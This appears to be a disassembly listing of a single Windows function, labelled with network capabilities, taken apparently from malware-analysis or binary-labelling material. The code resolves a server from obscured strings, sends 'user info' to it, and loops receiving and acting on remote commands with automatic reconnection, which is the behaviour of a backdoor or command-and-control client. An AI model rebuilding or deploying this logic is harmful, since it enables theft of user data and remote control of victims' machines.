Function at 0x140009a80
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x5e0]
sub rsp, 0x6e0
mov rax, qword [0x140018040]
xor rax, rsp
mov qword [rbp + 0x5d0], rax
xor r14d, r14d
mov esi, r14d
mov dword [rbp - 0x70], r14d
call fcn.140002cc0
mov ecx, 0x202
lea rdx, [rbp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140009b15
mov edx, eax
lea rcx, [rbp - 8]
call fcn.14000d4f0
nop
mov r8, rax
lea rdx, str.WSAStartup_failed_with_error:
lea rcx, [rsp + 0x48]
call fcn.140007fc0
nop
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.1400012c0
lea rdx, [0x140014a20]
lea rcx, [rbp - 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
nop word [rax + rax]
mov qword [rbp - 0x70], 0xffffffffffffffff
lea rdx, str.MWZuSZ_VITD
lea rcx, [rbp - 0x28]
call fcn.1400011e0
nop
lea rdx, str.NpUEq
lea rcx, [rbp - 0x48]
call fcn.1400011e0
nop
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova rcx, qword [rbp - 0x28]
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rdx, qword [rbp - 0x48]
mov qword [rbp - 0x78], r14
mov qword [rbp - 8], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
mov dword [rbp], 1
mov dword [rbp + 4], 6
lea r9, [rbp - 0x78]
lea r8, [rbp - 8]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov ebx, eax
test eax, eax
je 0x140009ca8
lea rdx, str.getaddrinfo_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140007be0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140007f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Unable_to_connect_to_server__retrying_in_10_seconds..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140007be0
mov qword [rsp + 0x20], 0xa
lea rcx, [rsp + 0x20]
call fcn.14000a1c0
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140009c34
inc rdx
mov rcx, qword [rbp - 0x48]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140009c2f
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1a8
call fcn.14000e310
mov byte [rbp - 0x48], 0
mov qword [rbp - 0x30], send
mov qword [rbp - 0x38], r14
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140009c7f
inc rdx
mov rcx, qword [rbp - 0x28]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140009c7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1af
call fcn.14000e310
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], send
mov byte [rbp - 0x28], 0
mov rcx, qword [rbp - 0x70]
cmp rcx, 0xffffffffffffffff
je 0x140009b20
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140009b20
mov rdi, qword [rbp - 0x78]
test rdi, rdi
je 0x140009bd2
nop word [rax + rax]
mov r8d, dword [rdi + 0xc]
mov edx, dword [rdi + 8]
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140009cf8
mov r8d, dword [rdi + 0x10]
mov rdx, qword [rdi + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140009d06
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x140009cc0
jmp 0x140009bd2
mov rcx, qword [rbp - 0x70]
cmp rcx, 0xffffffffffffffff
je 0x140009d16
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbp - 0x70], rbx
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rcx, [rsp + 0x48]
call fcn.140005f80
mov rbx, rax
lea rcx, [rsp + 0x68]
call fcn.140005de0
nop
mov r8d, 1
lea rdx, [0x1400115d0]
mov rcx, rax
call fcn.140007460
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x38], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], send
mov byte [rax], 0
or esi, 4
mov r9, rbx
lea r8, [rsp + 0x28]
lea rcx, [rbp - 0x68]
call fcn.1400092c0
or esi, 8
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x140009dc6
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009dc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a178
call fcn.14000e310
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140009e02
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009dfd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a17f
call fcn.14000e310
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], send
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140009e51
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009e4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a186
call fcn.14000e310
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], send
mov byte [rsp + 0x48], 0
lea rdx, str.Sending_user_info_to_the_server:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007be0
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rdx, qword [rbp - 0x68]
mov r8, qword [rbp - 0x58]
mov rcx, rax
call fcn.14000a330
mov rcx, rax
lea rdx, [0x1400115d4]
call fcn.140007be0
cmp qword [rbp - 0x58], 0
jne 0x140009eb7
lea rdx, str.User_info_string_is_empty__nothing_to_send.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x140009f2e
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rdx, qword [rbp - 0x68]
xor r9d, r9d
mov r8d, dword [rbp - 0x58]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
cmp eax, 0xffffffff
jne 0x140009f06
lea rdx, str.Failed_to_send_user_info._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140007be0
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x140009f33
lea rdx, str.Successfully_sent
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007be0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._bytes_of_user_info_to_the_server.
call fcn.140007be0
lea rdx, [0x140007f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0x1d0]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x14000a0cb
nop word [rax + rax]
mov ecx, eax
cmp rcx, 0x400
jae 0x14000a19b
mov byte [rbp + rcx + 0x1d0], 0
lea rdx, str.Received_command:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007be0
mov rcx, rax
lea rdx, [rbp + 0x1d0]
call fcn.140007be0
lea rdx, [0x140007f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x1d0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140009fe0
lea rdx, [rbp + 0x1d0]
lea rcx, [rsp + 0x28]
call fcn.1400089c0
nop
lea rdx, [rsp + 0x28]
lea rcx, [rbp - 8]
call fcn.1400028b0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x14000a048
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a043
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a18d
call fcn.14000e310
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], send
mov byte [rsp + 0x28], 0
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 8]
call fcn.140005080
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x14000a0a9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a0a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a194
call fcn.14000e310
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0x1d0]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140009f70
jne 0x14000a0f5
lea rdx, str.Connection_closed_by_server._Reconnecting_in_10_seconds..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007be0
mov qword [rsp + 0x20], 0xa
lea rcx, [rsp + 0x20]
call fcn.14000a1c0
jmp 0x14000a12c
lea rdx, str.recv_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140007be0
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x1400115d4]
call fcn.140007be0
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14000a163
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a15e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a1a1
call fcn.14000e310
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], send
mov byte [rbp - 0x68], 0
jmp 0x140009bf9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de28
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3